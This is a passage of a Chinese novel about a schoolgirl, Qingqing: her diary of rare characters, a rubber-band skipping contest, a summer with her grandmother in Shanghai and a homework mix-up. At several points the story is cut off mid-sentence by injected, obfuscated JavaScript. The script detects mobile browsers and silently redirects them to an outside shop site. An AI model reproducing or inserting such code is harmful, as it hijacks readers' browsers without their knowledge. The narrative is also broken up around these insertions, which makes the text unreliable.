她想象那个画面。一件青铜器从土里露出来,锈迹斑斑,但那些字还在。有人把它擦干净,一个字一个字认,认出来之后,写进书里,写进字典里。然后她今天晚上,坐在这里,把它们抄进自己的日记本里。 几千年前,有人用它喝酒。几千年后,她在这里写它的名字。 她觉得这很神奇。 她继续翻。 翻到“瓿”字。bu。古代小瓮,圆口,深腹,圈足。这个字她没见过,但它长得老实,像一个胖胖的罐子。她抄下来。 翻到“斝”字。jia。古代酒器,圆口,三足,用来温酒。她想象不出来温酒是什么样子,但她喜欢这个字的样子。上面是两个“口”,中间是“斗”?她数了数笔画,不对。算了,抄下来再说。 她越抄越投入,整个人趴在桌上,脸快贴到本子上。台灯的热度烤着她的额角,温温的。房间里很静,只有翻书的沙沙声,和铅笔在纸上划过的细细的响。 门开了。 清清没听见。 脚步声走过来。走到她身后。停下来。 她还是没听见。 直到一只手落在她肩膀上。 她猛地一抖,整个人差点从凳子上弹起来。转过头,母亲站在她身后,弯着腰,脸凑得很近,眼睛里映着台灯的光,亮亮的。 “在干什么?” 母亲的声音不高,但清清听出那里面的东西。不是生气,是那种——怎么说的?——她后来想了很久,觉得是“果然如此”的那种语气。 “我……” 清清的手还按在字典上。那本日记本摊开着,上面的字一行一行,工工整整。小熊抱着红心,在灯光下傻乎乎地笑着。 母亲低头看了一眼那本日记本。 她伸出手,手指按在日记本上,没有翻开,就那么按着。指腹在纸面上轻轻蹭了蹭,然后抬起眼睛,看着清清。 “作业写完了?” 清清没说话。 母亲直起腰,站到她旁边,低头看着那堆东西——作业本,铅笔,字典,日记本。她的眉头皱了皱,又松开。嘴唇抿了一下,嘴角往下压了压。 她伸手拿起那本日记本,翻了两页,看着那些字。 她看到了“觞”。看到了“觥”。看到了“彝”。看到了“斝”。 她顿了一下。 “这些是什么字?” 清清小声说:“字典里的。” 母亲又翻了两页。看了很久。 然后她抬起头,看着清清。那眼神清清看不懂——不是生气,不是着急,是别的什么。像在看一件她没见过的东西。 “你认得这些字?” 清清摇摇头。“有些认得,有些只是抄。” 母亲“嗯”了一声。又低下头,看着那个“彝”字。看了好几秒。 “这个字,”她指着那个密密麻麻的字,“你知道是什么吗?” 清清点点头。“古代的酒器。字典上说的。” 母亲没说话。 她站在那儿,手里拿着那本日记本,站了很久。电视里的声音从门缝里漏出来,那个女的还在哭,呜呜咽咽的,没完没了。 然后她把日记本合上,放回桌上。 “清清。” 她喊她的名字,声音压得很低,带着一点沙。清清抬起头,对上她的眼睛。 母亲的眼睛里没有火气。那里面有点别的——清清后来想过,那是什么?是怕?是那种“我该怎么办”的不知所措? “妈妈跟你说过多少遍了?” 她的声音还是不高,但每一个字都咬得很清楚。 “作业要写完,才能干别的。你答应过妈妈的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但她说不出来。 母亲看着她,等了一会儿。 然后叹了口气。 “早点睡。” 她推开门,进去了。 清清听见她的声音从卧室里传出来,和父亲说了句什么,听不清。然后是父亲的笑声,闷闷的,笑了两声。 她把作业写完,合上本子。 然后伸手把那本日记本拿过来,翻开。看着那些字,一行一行,整整齐齐。 觞。觥。彝。斝。 她轻轻念了一遍。声音很轻,只有自己听见。 然后把日记本合上,和字典摞在一起。 就在这时候,她的手碰到了书包。 书包敞着口,里面的东西乱七八糟。她伸手进去掏了掏,掏出铅笔盒,掏出几本课本——然后她忽然想起什么,停住了。 她打开铅笔盒。 铅笔盒是铁皮的,盒盖内侧贴着一张课程表,边角已经卷起来了。铅笔、橡皮、尺子、卷笔刀,一样一样挤在里面。 那块橡皮擦就躺在铅笔旁边。 她拿出来,对着灯光看了看。 就是白天那块。只剩三分之一的,她一直想不通为什么只剩三分之一的。 灯光照着它,照得它有点透明。橡皮擦的边缘磨圆了,表面坑坑洼洼,有些地方还有铅笔划过的黑印子。她翻过来,看见那一面有一个指甲掐的印,很深,掐进去一小块。 她摸了摸那个印。 什么时候掐的?不记得。 她翻过来又翻过去,看了很久。 然后把橡皮擦攥在手心里,握了一会儿。橡皮擦有点软,被体温捂热了,黏黏的。 她拉开书桌的抽屉。 抽屉里乱七八糟——几支没墨的圆珠笔,一盒曲别针,几个空本子,一块她小时候玩过的橡皮泥,早就干透了,硬邦邦的。 她把那些东西往旁边扒了扒,腾出一小块地方。 然后把手里的橡皮擦放进去。 放得很轻,像怕惊着什么似的。 放好之后,她没马上关上抽屉。又看了它一眼。它就躺在那里,半旧不新的,边缘圆圆的,坑坑洼洼的,像被谁用过了很久很久。 但她知道,今天是新的。 她不知道为什么只剩三分之一。 也不知道为什么想把它放起来。 就是觉得,应该放起来。 她推上抽屉。 抽屉发出一声闷响,关严了。 41. 学校 第二天早上,清清醒得很早。 窗帘没拉严,有一条缝,光从那条缝里漏进来,落在床尾。她躺着看了一会儿,然后爬起来。 母亲已经在厨房忙了。油烟味飘进来,混着葱花的香。她套上衣服,去洗脸刷牙,回来的时候桌上已经摆好了早饭——稀饭,咸菜,一个荷包蛋。 母亲把筷子递给她:“快点吃,别迟到。” 她嗯了一声,坐下来吃饭。 吃完饭,背上书包,出门。 楼梯还是那个楼梯,水泥台阶,绿色栏杆。她一级一级往下跑,脚步声嗒嗒嗒的,在楼道里带回音。 跑到楼底下,站住了。 清晨的空气凉凉的,带着一点潮,钻进鼻子里,有点醒神。她抬头看了看天,天是那种浅浅的蓝,没什么云,太阳还没出来,但东边已经亮起来了,一片橘红的光从楼后面透出来,把楼顶的轮廓镀上一层金边。 她沿着昨天的路走 走到校门口的时候,她停下来。 校门是两扇铁栅栏门,漆成深绿色,有些地方漆掉了,露出底下的锈。门已经开了,半敞着,几个高年级的学生正往里走,书包在背后一晃一晃的。 她站在门口,往里看。 进了校门,左手边是一栋三层的楼房,灰砖灰瓦,墙面上爬着些枯了的藤。那是低年级的教室,一年级在一楼,二年级在二楼,三年级在三楼。窗户是老式的木窗,漆成墨绿色,有些窗户开着,能看见里面的桌椅和黑板。 右手边是另一栋楼房,比左边那栋高一些,长一些,也是灰砖灰瓦,一共四层。那是高年级的教室,四年级和五年级在下面两层,六年级在最上面。清清的教室在右手边的一楼,从东边数第三间。 操场在中间,很大的一片,铺着煤渣和黄土。跑道是用白灰画的,已经快被踩没了。操场东头立着两个篮球架,木板做的,篮板上的漆裂成一块一块的。西头有几棵杨树,很高,叶子还没落光,在晨风里哗啦啦地响。 早晨的操场没什么人。只有几个来得早的学生在晃,有一个蹲在篮球架底下,不知道在干什么。有一只麻雀落在跑道上,蹦了两下,又飞走了。 清清站在那里,看着这一切。 阳光从东边斜斜地照过来,把操场染成一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她松开清清的手,从口袋里掏出一根皮筋。那根皮筋很长,棕红色的,松松垮垮地绕成一团。她两手撑开,抖了抖,皮筋弹了几下,发出“嘣嘣”的闷响。 “快快快,撑起来。” 两个女生跑过来,一人抓住一头,往两边走。皮筋被拉直了,绷紧,离地面一尺来高,在早晨的太阳底下泛着暗暗的光。 剩下的女生分成两队,一队站这边,一队站那边。云曦把清清拉到自己这队,站在队伍最后头。 “你先看着,一会儿就轮到你了。” 清清点点头。 她站在那儿,看着前面的女生一个接一个跳进去。 领头的那个是隔壁班的,叫什么她不记得,只记得她扎着两根辫子,辫子上系着粉色的蝴蝶结。蝴蝶结一跳一飞,一跳一飞,像两只蝴蝶在她耳朵边上扇翅膀。 她站在皮筋的一侧,先抬起左脚,在皮筋上点了两下—— “马兰开花二十一——” 左脚点,右脚点,然后并脚跳进去。 “二八二五六——” 两脚分开,踩住两根皮筋,再并脚跳出来。 “二八二五七——” 转身,背对着皮筋,脚后跟往后一勾。 “二八二九三十一——” 整个人腾空转了一圈,落下来的时候,两只脚正好踩住两根皮筋。 清清看得眼睛都直了。 那些脚在皮筋之间穿来穿去,像两只灵活的鸟。有时候点,有时候勾,有时候踩,有时候跳。她盯着那些脚,盯了一会儿,眼睛就花了,分不清谁是谁。 但那个歌谣她听清了—— “马兰开花二十一, 二八二五六, 二八二五七, 二八二九三十一。” 她听过这个歌谣。一年级的时候就听过。操场上,走廊里,放学的路上,总有女生在唱。但她从来没跳过。她不知道怎么跳。 “三八三五六, 三八三五七, 三八三九四十一——” 前面的女生又跳进去了。这回跳得更快,脚在皮筋之间点来点去,像踩着什么看不见的节拍。皮筋被踢得“嘣嘣”响,一下一下,有节奏的。 清清往后退了一步。 她忽然有点想走。 “哎哎哎,清清,轮到你了!” 云曦不知道什么时候站到她旁边,推着她的后背,把她往前推。 “我……” “没事没事,你跳,我看着呢。” 清清被推到皮筋前面。 对面的两个女生撑着皮筋,看着她。自己这队的几个女生也看着她。所有人的眼睛都落在她身上,落在她那双脚上。 她咽了咽口水。 抬起左脚。 在马兰花那几个字里,她只知道左脚点地,右脚点地。但是应该点几下?什么时候跳进去?她忘了。 她站在那儿,左脚悬着,没落下去。 “跳啊,”有人喊,“愣着干嘛?” 清清还是没动。 云曦在旁边急了,蹲下来,指着皮筋:“你看啊,先左脚点一下,点这儿——再右脚点一下,点这儿——然后两只脚一起跳进去——进去之后,左脚踩这根,右脚踩这根——然后再跳出来——” 她说得很快,手指在地上一通乱指。 清清看着她的手,更乱了。 “我……” 她张了张嘴。 “她是不是不会跳啊?” 对面有个女生笑起来。笑声不大,但清清听见了。 她低下头,看着自己的脚。 今天穿的是那双老北京布鞋。黑色的鞋面,白色的鞋底,鞋底边沿有一圈缝线,针脚细细密密。母亲说这鞋结实,耐穿。她穿着它跑操,穿它上学放学。 但她从来没穿着它跳过皮筋。 云曦站起来,瞪了对面一眼。 “笑什么笑?谁生下来就会跳?” 她伸手把清清往后拉了拉,自己站到皮筋前面。 “看好了啊,我慢慢跳,你跟着学。” 她抬起脚,点一下,点一下,跳进去。 “马兰——开花——二十一——” 她跳得很慢,每一步都停一停,让清清看清楚。 清清盯着她的脚。左脚点,右脚点,并脚跳,左脚踩这根,右脚踩那根,跳出来,转身,勾—— 她试着在心里跟着跳。 好像……好像也不难? “来,你试一下。” 云曦跳完,站到她旁边,喘着气 清清又站到皮筋前面。 抬起左脚,点一下。 右脚点一下。 并脚,跳进去。 进去了。 她愣了一下。自己进去了? “对!就这样!继续!” 云曦在旁边喊。 清清站在两根皮筋中间,不知道下一步怎么办。 “左脚踩那根!右脚踩这根!” 清清抬起左脚,踩住左边那根皮筋。抬起右脚,踩住右边那根。 两根皮筋被她踩在脚下,绷得紧紧的。 “好!现在跳出来!” 她两只脚一起使劲,跳起来,落在地上。 出来了。 她站在那儿,看着那两根还在微微颤动的皮筋,有点不敢相信。 “你看,你会嘛!”云曦跑过来,拍她的肩膀,“再来再来,这回连起来跳。” 清清又跳了一遍。 这回快了一点。点,点,跳,踩,踩,跳。 跳完了。气喘吁吁的,但跳完了。 “怎么样?”云曦得意地看看周围,“谁说她不会跳?” 对面那几个女生没说话。 清清站在那里,胸口一起一伏。太阳晒在她脸上,热热的。她忽然觉得,跳皮筋好像也不是那么难。 后面的几轮,她又跳了几次。云曦一直在旁边喊,喊她的脚往哪儿放,喊她什么时候转身,喊她别急慢慢来。 她跳得越来越顺。虽然还是只会最基础的动作——点,跳,踩,跳。那些什么勾啊绕啊转啊,她还是不会。但她起码能把一个完整的“马兰开花二十一”跳下来了。 轮到对面的女生跳的时候,她站在旁边看。看她们怎么勾脚,怎么转身,怎么在皮筋上踩出花来。 有一个女生跳得特别好。她扎着高高的马尾,穿着白色的球鞋,脚抬起来的时候,鞋底白得发亮。她跳进去,转身,左脚往后一勾——皮筋被勾起来,在她腿后绕了一圈,又落回去。然后她跳起来,两脚在空中交叉,落地的时候正好踩住两根皮筋。 清清看得眼睛都直了。 “那是‘挽花’,”云曦凑到她耳边说,“难着呢,我学了好久都没学会。” 清清没说话。她盯着那个女生的脚,盯着那双白得发亮的球鞋,心里忽然有点羡慕。 不是羡慕那双鞋。是羡慕那双脚,怎么就能做出那些动作呢? 上午的课间只有十分钟,跳了没几轮就打铃了。 下午第二节下课,云曦又拉着她跑下来。 这回还是那拨人,还是那根皮筋。太阳比上午斜了一点,把人的影子拉得长一些,歪歪扭扭地铺在地上。 开始跳。 跳着跳着,出事了。 对面那队的一个女生跳的时候,脚绊了一下,没跳过去,反而把皮筋踢飞了。皮筋从撑着的两个人手里弹出来,在空中甩了一下,落在地上,弯弯曲曲的。 “哎哟!” 那女生捂着脚,一屁股坐在地上。 “怎么了怎么了?”几个人围上去。 “脚崴了好像……” 一群人七嘴八舌地围着。有人去叫老师,有人把她扶起来,一瘸一拐地往卫生室走。 走了几步,那女生忽然回头:“你们继续跳,别等我。” 走了。 剩下的人站在原地,你看看我,我看看你。 “现在怎么办?”撑皮筋的一个女生问。 “换人啊,”云曦说,“你们队再出一个人。” “哪还有人?我们队本来就少一个,现在更少了。” “那你们认输呗。” “凭什么认输?我们还能跳。” “那你们跳啊。” 两边吵起来,你一句我一句,谁也不让谁。 清清站在旁边,没说话。 吵着吵着,对面一个女生忽然指着她。 “让她来。” 清清愣住了。 “我?” “对,你。你们队刚才不是她跳得最多吗?让她来。” 云曦愣了一下,转头看清清。 清清也看她。 “行不行?”云曦小声问,“对面那个是她们队跳得最好的,你要跟她比。” 清清张了张嘴。 她想起上午那个穿白球鞋的女生,想起那些“挽花”,想起自己只会的那几个基础动作。 但她还是点了点头。 “行。” 对面站出来的,就是那个扎马尾的女生。她走到皮筋旁边,把脚抬起来,踩了踩,试了试高度。 “从哪儿开始?” “脚踝。”撑皮筋的人说。 马尾女生点点头,站好。 皮筋撑在脚踝的高度。她跳进去。 “马兰开花二十一——” 动作很快,但很清楚。点,点,跳,踩,踩,跳。转身,勾,跳出来。 一轮下来,皮筋没掉,脚没绊。 轮到清清。 她站到皮筋前面,深吸一口气。 点,点,跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437408|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去了。 踩,踩,跳。 出来了。 她站在那儿,听见自己这队的人在喊:“好!就这样!” 马尾女生看了她一眼,没说话。 皮筋升到膝盖。 这回动作要变了,皮筋高了,不能踩,只能勾。 马尾女生跳进去。她的脚抬得很高,像一只白色的鸟,从皮筋上飞过去。一勾,一转,一跳,皮筋在她脚底下听话得很。 清清站在旁边看着,手心有点出汗。 轮到她了。 她跳进去。 勾。 没勾着。脚抬得不够高,皮筋从脚后跟滑下去。 再来一次。 这回勾着了。她用力往上抬,脚后跟勾住皮筋,往旁边一带。皮筋被她带起来,晃了晃,又落回去。 她跳出来了。 没掉。 “好!”云曦在旁边跳起来。 皮筋又升了一级。 腰。 这个高度更难了。抬脚要高,动作要快,慢了皮筋就掉。 马尾女生跳进去了。她跳得还是很顺,但清清看出来了——她也吃力。她的脸有点红,喘气有点粗,最后一个动作跳出来的时候,脚落地晃了一下。 但没掉。 轮到清清。 她站在皮筋前面,看着那根绷紧的皮筋。太阳在她身后,把她的影子投在地上,投在那根皮筋上。 她跳进去。 勾。 勾住了。 转身。 转的时候,脚抬得不够高,皮筋蹭着她的鞋底,差一点滑掉。她赶紧稳住,使劲往上抬,把它带过去。 跳出来。 落地的时候,她一个趔趄,往后退了一步,差点摔倒。 但皮筋没掉。 “好!!”云曦的嗓子都快喊破了。 皮筋又升了一级。 胸。 马尾女生这回明显吃力了。她跳进去,勾第一下的时候,皮筋就滑了。重来。又滑了。再重来。第三次,她咬着嘴唇,脸憋得通红,使劲往上抬脚——勾住了。然后转身,抬脚——又滑了。 皮筋掉在地上。 她站在那儿,喘着气,摇了摇头。 “不行了,太高了。” 所有人都看着清清。 清清站在那儿,盯着那根皮筋。它撑在两个女生的胸前,绷得紧紧的,在太阳底下泛着暗暗的红光。 她走过去。 抬脚。 第一下,勾住了。 她使劲往上抬,脚后跟勾着皮筋,往旁边带。皮筋被拉得很长,颤颤巍巍的。 转身。 抬脚。 勾—— 勾住了。 她感觉自己整个人都在往上拔,腿抬到了从没抬过的高度。那条腿在抖,抖得厉害,但她不敢放。 跳出来。 落地的时候,她整个人往前扑,单膝跪在地上,两只手撑着地。 但她回头看。 皮筋还在那儿。绷着,没掉。 “过了过了过了!”云曦冲过来,一把把她拉起来,“你过了!” 清清站在那儿,喘着气,膝盖上全是土。她低头看,老北京布鞋的鞋头上也沾了土,灰扑扑的。 “脖子!脖子!再升一级!” 有人喊。 清清抬起头。 皮筋升到了脖子。 马尾女生站在旁边,看着她。周围所有人都看着她。 清清走到皮筋前面。 那根皮筋撑在两个女生的脖子旁边,比她人还高。她抬起脚,试着往上抬——抬不到那么高。她跳起来,想用脚去勾——够不着。 她试了三次。 三次都没够着。 最后一次,她跳起来,脚拼命往上抬,整个身子都歪了。皮筋蹭着她的鞋底,滑过去,没勾住。她落下来的时候没站稳,一屁股坐在地上。 周围安静了一下。 然后有人开始鼓掌。 不是很多人。就是自己这队的几个女生,噼里啪啦地拍了几下手。 “已经很厉害了!”云曦跑过来,把她拉起来,“从脚踝一直跳到脖子,咱们队就你一个人!” 清清站在那儿,拍着屁股上的土。 马尾女生走过来,看了她一眼。 “你跳得不错。”她说。 清清愣了一下。 “你那个基础动作特别稳,”马尾女生继续说,“我们那些花里胡哨的,一到高地方就不行了。你的稳。” 说完她转身走了。 清清站在原地,看着她的背影。 夕阳照在那片空地上,把所有人的影子都拉得老长。那根皮筋还撑着,在两个女生的脖子旁边,绷成一条细细的红线。 云曦在旁边叽叽喳喳地说话,说着刚才多惊险,说着清清多厉害,说着明天还要来跳。 清清听着,没说话。 她低头看了看自己的脚。 那双老北京布鞋,鞋头上还沾着土,鞋底边沿那圈缝线,还是那么细,那么密。 她忽然觉得,这双鞋也挺好的。 放学的铃声响起来的时候,天已经开始暗了。 清清背着书包,和云曦一起往校门口走。走到门口,两个人分开,一个往东,一个往西。 43. 作业 很快要放暑假了。 四年级的最后一天,教室里弥漫着一种奇怪的躁动。最后一门考试结束的铃声响起来的时候,所有人都长长地呼出一口气,像被扎破的气球。 “解放喽——” 有人喊了一嗓子,然后整个教室就炸开了。卷子从桌肚里掏出来,往讲台上扔,课本往书包里塞,有人在换同学录,有人在小纸条上留地址。窗外的蝉叫得震天响,一声一声,像在给这个学期送终。 清清把铅笔盒收进书包,站起来,准备回家。 就在这时候,班主任出现在教室门口。 “苏清清,你出来一下。” 清清愣了一下,走过去。走到门口,看见走廊里站着一个人。 母亲。 她站在那里,手里拎着一个布包,额头上有点汗。看见清清出来,冲她招了招手。 “妈妈?” 母亲伸手摸了摸她的头,然后转向班主任。 “老师,真的不好意思,家里突然有点事,得马上带她走。火车票已经买了,下午就走。” 班主任点点头:“考完试了,没问题的。暑假作业我一会儿给她。” 母亲谢过老师,拉着清清走到走廊的一边。 “妈妈,怎么了?” “奶奶家有点急事,得马上回去。”母亲说,“你考完试了正好。” “你回教室收拾下,”母亲又说道,“我在门口等你。” 清清被她推着进教室。 母亲站在门口等着,清清飞快地收拾书包。课本,铅笔盒。 “好了吗?” “好了。” 母亲拉着她往外走。走到教室门口,她回头看了一眼。看见清清回头,云曦挥了挥手,嘴巴张着,好像在喊什么。清清想挥手,但母亲走得太快,手没抬起来。回头又看了一眼教室。苏云曦还在那儿,这回她跑出来了,站在走廊里,冲她喊:“清清——你什么时候回来——” 清清也喊:“开学就回来——” 然后就被母亲拉走了。 办公室门口,班主任已经把作业清单写好了,一张纸条,叠得四四方方。 “暑假作业,”班主任把纸条递过来,“语文数学都有。语文每天一篇日记,抄生字表,背十首古诗,读一本课外书写读后感。数学——预习五年级上册第一单元,小数的初步认识,开学要检查的。” 母亲接过来,塞进布包里。 “谢谢老师,麻烦您了。” “没事,路上小心。” 母亲拉着清清走了。 走出校门的时候,清清回头看了一眼。 那两栋楼还在那儿,左手边的低年级楼,右手边的高年级楼。操场空荡荡的,一个人也没有。阳光照在煤渣地上,泛着一层淡淡的白。 她忽然有点舍不得。 火车上,清清靠在窗边,看着窗外发呆。 窗外的风景一直在变。田,房子,山,河。她看着看着,眼皮越来越沉,最后靠在母亲肩膀上睡着了。 醒过来的时候,天已经黑了。车厢里的灯亮着,昏黄昏黄的。有人在小声说话,有人在吃泡面,香味飘过来,清清肚子咕噜了一声。 母亲从包里掏出一个面包递给她。 “饿了吧?先吃点东西,明天早上就到了。” 清清接过来,慢慢吃着。 窗外的天黑漆漆的,什么也看不见。只有偶尔经过一个小站,能看见几盏灯,亮着,一晃就过去了。 第二天早上,火车进了站。 清清跟着母亲下了车,出了站,又换汽车。汽车开了很久,晃晃悠悠的,清清又睡着了。 醒过来的时候,车停了。 “到了。”母亲说。 清清揉揉眼睛,跟着母亲下了车。 眼前是一条巷子,窄窄的,两边是青砖黑瓦的老房子。巷子很深,一眼看不到头。地上铺着青石板,被踩得发亮,缝隙里长着些青苔。 母亲拉着她往里走。 走到一扇木门前,母亲停下来,推了推门。 门开了。 一个老太太站在院子里,系着围裙,手里还拿着锅铲。看见她们,愣了一下,然后笑起来。 “来了来了!” 那是奶奶。 清清上一次见奶奶还是两年前。过年的时候回去过一次,待了几天又回来了。奶奶的脸清清还记得,圆圆的,笑起来眼睛眯成一条缝。 “清清长这么高了!”奶奶走过来,伸手摸了摸她的脸,“路上累不累?” 清清摇摇头。 “快进来快进来,饭做好了,先吃饭。” 接下来的日子,清清就住在奶奶家。 那是一栋老房子,青砖黑瓦,木头门窗。院子里有一口井,井台磨得发亮。奶奶不让清清靠近,清清就蹲在远处看。看井台上长出来的青苔,看井边那棵石榴树,看树上的石榴一天一天变红。 白天大人忙,清清就一个人待着。她把暑假作业拿出来,摊在桌上,一道一道做。 那张作业清单她看了很多遍,上面写着—— 语文:每天一篇日记,抄写生字表(一)(二)各三遍,背诵古诗十首(附录一),阅读《宝葫芦的秘密》或《小兵张嘎》,写一篇读后感。 数学:预习五年级上册第一单元“小数的初步认识”,试做课后练习题。 她照着做。 每天写日记,抄生字。日记写的是今天吃了什么,看到了什么,奶奶做了什么菜。抄生字抄得手酸,她就停下来,揉揉手腕,看看窗外。 预习小数那一单元,清清看不太懂。什么是小数?为什么有点?她翻来覆去看了好几遍,还是迷迷糊糊的。她就先把例题抄下来,把能做的题做了,不会的空着。 有时候做得烦了,就趴在窗口看外面。巷子里有人走来走去,说着她听得懂但也听不太懂的上海话。 傍晚的时候,奶奶在院子里烧饭。煤球炉,火苗蓝幽幽的。清清蹲在旁边看,奶奶也不管她,就让她看着。有时候奶奶会掰一小块刚烧好的红烧肉塞进她嘴里,烫得她直咧嘴,奶奶就笑。 暑假就这么一天一天过去了。 清清把那本暑假作业做完了,日记写满了一个本子,古诗背了十首,那本《宝葫芦的秘密》也读完了。她问奶奶借了一个本子,认认真真写了一篇读后感。写的是王葆的故事,写他得到宝葫芦以后发生的那些事。她写:如果我有宝葫芦,我想把不会做的题都变出来。 奶奶看见她写的东西,笑了笑,没说话。 离开上海的那天,奶奶站在门口送她们。 “下次再来。”奶奶说。 清清点点头。 火车开动的时候,她看着窗外。那栋老房子越来越远,巷子越来越远,最后变成一个小点,然后就看不见了。 开学的第一天。 清清背着书包,走进校门。 左手边那栋楼还是那样,右手边那栋楼还是那样。操场上的煤渣还是那么黑,跑道线还是那么模糊。 她往四年级的教室走,走了两步,忽然想起来——现在是五年级了。 她转了个弯,往右手边那栋楼的二楼走。楼梯是水泥的,栏杆是铁的,漆成深绿色。她一级一级往上爬,脚步声嗒嗒的。 二楼,从东边数第三间。门上挂着牌子:五年一班。 她走进去。 教室里已经来了很多人,叽叽喳喳的,都在说话。有人在炫耀暑假去了哪里,有人在交换新的文具,有人在新课本上写名字。 苏云曦坐在第三排,看见她进来,腾地站起来。 “清清!” 她跑过来,一把抱住她。 “你暑假去哪儿了?招呼都不打一个就跑了!我找你找了好久!” 清清被她抱得有点喘不过气。 “我回上海了。” “上海?”苏云曦松开她,眼睛亮亮的,“上海好玩吗?” 清清想了想。老房子,青苔,那口井,奶奶塞进嘴里的红烧肉。 “还行。” “那你作业做完了吗?我快累死了!”云曦压低声音,“那个预习小数,我看都看不懂,我妈教了我三天我才明白一点点。” 清清愣了一下。 “预习小数?” “对啊,”云曦眨眨眼睛,“老师不是让预习五年级上册第一单元吗?小数的初步认识。” 清清张了张嘴,没说出话来。 她从书包里掏出那张叠得四四方方的纸条,递给云曦。 云曦接过去,看了一眼,又看了一眼,脸色变了。 “清清……” “怎么了?” “你这个……”云曦指着那张纸条,“你这个是复习的?不是预习的?” 清清没听懂。 旁边几个同学听见了,也围过来。 “我看看我看看。” “咦,清清你这上面写的是抄生字表,背古诗,读课外书……这些跟我们一样啊。” “数学呢?数学写的什么?” 云曦把纸条举起来:“预习五年级上册第一单元——不对,她这上面写的不是这个。” 清清凑过去看。那张纸条上,数学那一行明明写着—— “预习五年级上册第一单元‘小数的初步认识’,试做课后练习题。” 没错啊。 “可是我们不是这个。”云曦说。 她从书包里掏出自己的作业清单,递给清清。 清清接过来,两相对照。 云曦的清单上,数学那一行写着—— “预习五年级上册第一、二单元(小数的意义和性质、小数的加减法),完成预习练习题20道。” 清清的只有第一单元。试做课后练习题。 “你只有第一单元?”云曦问,“还是试做?我们是20道题,专门有一张卷子的。” 清清站在那里,看着那两张纸条,脑子里嗡嗡的。 老师给她的,和别人的不一样。 上课铃响了。 新班主任走进来——是个男老师,戴着眼镜,说话声音很响。他站到讲台上,清了清嗓子。 “好了,都坐好。新学期新开始,别吵了。” 大家回到座位上,清清也坐下。那两张纸条还攥在手心里,被汗浸得有点软。 班主任开始收作业。 “来,把暑假作业交上来,特别是预习小数的,我要检查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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清清低着头,盯着自己的鞋尖。那双老北京布鞋,鞋头上沾着一点灰。 “回去把第二单元补上,下周一交给我。听到了吗?” “听到了。” “坐下吧。” 清清坐下来。她没抬头,一直盯着那双鞋。 下课的时候,苏云曦跑过来。 “清清……” 清清没说话,低着头收拾书包。 “你别理他,他就是个新来的,什么都不知道。你那个作业肯定是老师给错了,你走得急,随手拿了一张不全的给你。” 清清还是没说话。 “你跟你妈说了吗?” 清清摇摇头。 “那你回去跟你妈说,让你妈来学校找老师。不是你的错,凭什么骂你?” 清清抬起头,看了她一眼。 苏云曦的眼睛亮亮的,一脸的气愤。 清清忽然觉得,好像没那么难受了。 放学回家,清清把书包往桌上一放。 母亲正在厨房忙,听见声音,探出头来。 “回来了?今天开学怎么样?” 清清没说话。 母亲看了她一眼,放下手里的东西,走出来。 “怎么了?” 清清从书包里掏出那张作业清单,还有云曦的那张抄下来的,一起放在桌上。 母亲低头看了一眼,又看一眼,皱起眉头。 “这是……” “老师给的不一样。”清清的声音有点闷,“别人的是两单元,20道题。我只有一单元,课后题。老师骂我作业没做完。” 母亲愣了一下。 她拿起那两张清单,对着看了很久。 然后放下,看清清。 清清低着头,站在那儿。 母亲伸手,把她拉过来,让她坐在自己旁边。 “老师骂你了?” 清清点点头。 母亲沉默了一会儿。 然后她伸出手,把清清额前的碎发拨到耳后。 “没事。” 清清抬起头。 母亲看着她,眼睛里有那种清清看不懂的东西。不是生气,不是着急,是别的什么。像心疼,又像自责。 “事情发生了,我们解决就是了。” 她伸手拍了拍清清的手背。 “第二单元咱们补,这几天我陪着你做。来得及。” 清清没说话。 “别担心。”母亲说,“也怪我,走得急,没跟老师确认清楚这个作业。” 清清看着她。 “妈妈……” “嗯?” 清清张了张嘴,想说点什么,但没说出来。 母亲笑了笑,伸手揉了揉她的头发。 “好了,去把书包放下,洗手吃饭。吃完饭咱们把那个小数拿出来看看,看第二单元讲什么,一天做一点,很快的。” 清清站起来,往屋里走。 走到门口,她回头看了一眼。 母亲还坐在那儿,低头看着那两张清单,翻来覆去地看。阳光从窗户照进来,落在她身上,把她的侧脸照得亮亮的。 清清站了一会儿,然后走进屋里。 她把书包放好。 窗外传来炒菜的声音,滋啦滋啦的。有人在楼下喊孩子回家吃饭,声音拖得老长。 她站了一会儿,然后转身,走出去。 44. 竹影横疏 五年级。 早操结束的铃声一响,操场上的人就像炸开的蚂蚁窝,四散奔逃。清清跟在队伍里,踩着煤渣跑道往回走,鞋底磨得沙沙响。太阳已经升起来了,斜斜地照在操场上,把人的影子拉得老长。 她走得慢,前面的队伍已经散开,有人跑起来了,有人拐弯往厕所方向冲。清清不着急,一步一步走,看自己的影子在前面晃。 刚走到教学楼底下,肩膀被人从后面拍了一下。 她回过头,苏云曦的脸凑过来,眼睛亮亮的,喘着气,马尾辫跑得有点歪。 “清清,你听说了吗?” 清清眨眨眼睛:“什么?” 